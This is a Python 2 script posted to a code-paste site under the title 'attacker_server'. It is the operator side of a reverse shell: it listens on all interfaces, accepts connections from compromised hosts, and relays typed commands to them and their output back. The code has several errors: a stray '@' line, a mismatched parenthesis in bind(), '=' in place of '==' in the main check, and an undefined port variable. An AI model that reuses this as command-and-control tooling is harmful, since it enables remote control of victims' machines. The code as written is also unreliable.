Demo entry 6345342

attacker_server

   

Submitted by Melih on Jan 30, 2017 at 21:09
Language: Python. Code size: 2.0 kB.

import sys
import socket
import argparse
import threading

#------------------------ Global Variables ---------------------
clients = {}
#------------------------ End Global Variables ---------------------

#------------------------ Client Serve Function ---------------------
def client_serve(client):
    try:
        print "Enter a command to execute:"
        input = sys.stdin.read()
        client.send(input)

        while True:
            # wait for data from listener
            received_data = client.recv(4096)

            print received_data

            @ Wait for more input
            input = raw_input("")
            input += "\n"

            client.send(input)

    except:
        print "client closed connection"
        pass
#------------------------ End Client Serve Function ---------------------

#------------------------ Server Listen Function ---------------------
def server_listen(port_number):
    target_host = "0.0.0.0"
    
    listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    listener.bind(target_host,port_number))

    listener.listen(25)

    print "Server is listening on port " + str(port_number) + " ..."

    while True: 
         client,addr = listener.accept()
         print "Incoming connection from %s:%d" % (addr[0],addr[1])
         client_serve_thread = threading.Thread(target=client_serve, args=(client,))
         client_serve_thread.start()
#------------------------ End Server Listen Function ---------------------

#------------------------ Main Function ---------------------
def main():
    parser = argparse.ArgumentParser('Attacker Listener')
    parser.add_argument("-p","--port", type=int, help="The port number to connect with", default=9999)
    args = parser.parse_args()
    server_listen(port_number)
#------------------------ End Main Function ---------------------

# Application entry point
if __name__ = "__main__":
    main()

This snippet took 0.01 seconds to highlight.

Back to the Entry List or Home.

Delete this entry (admin only).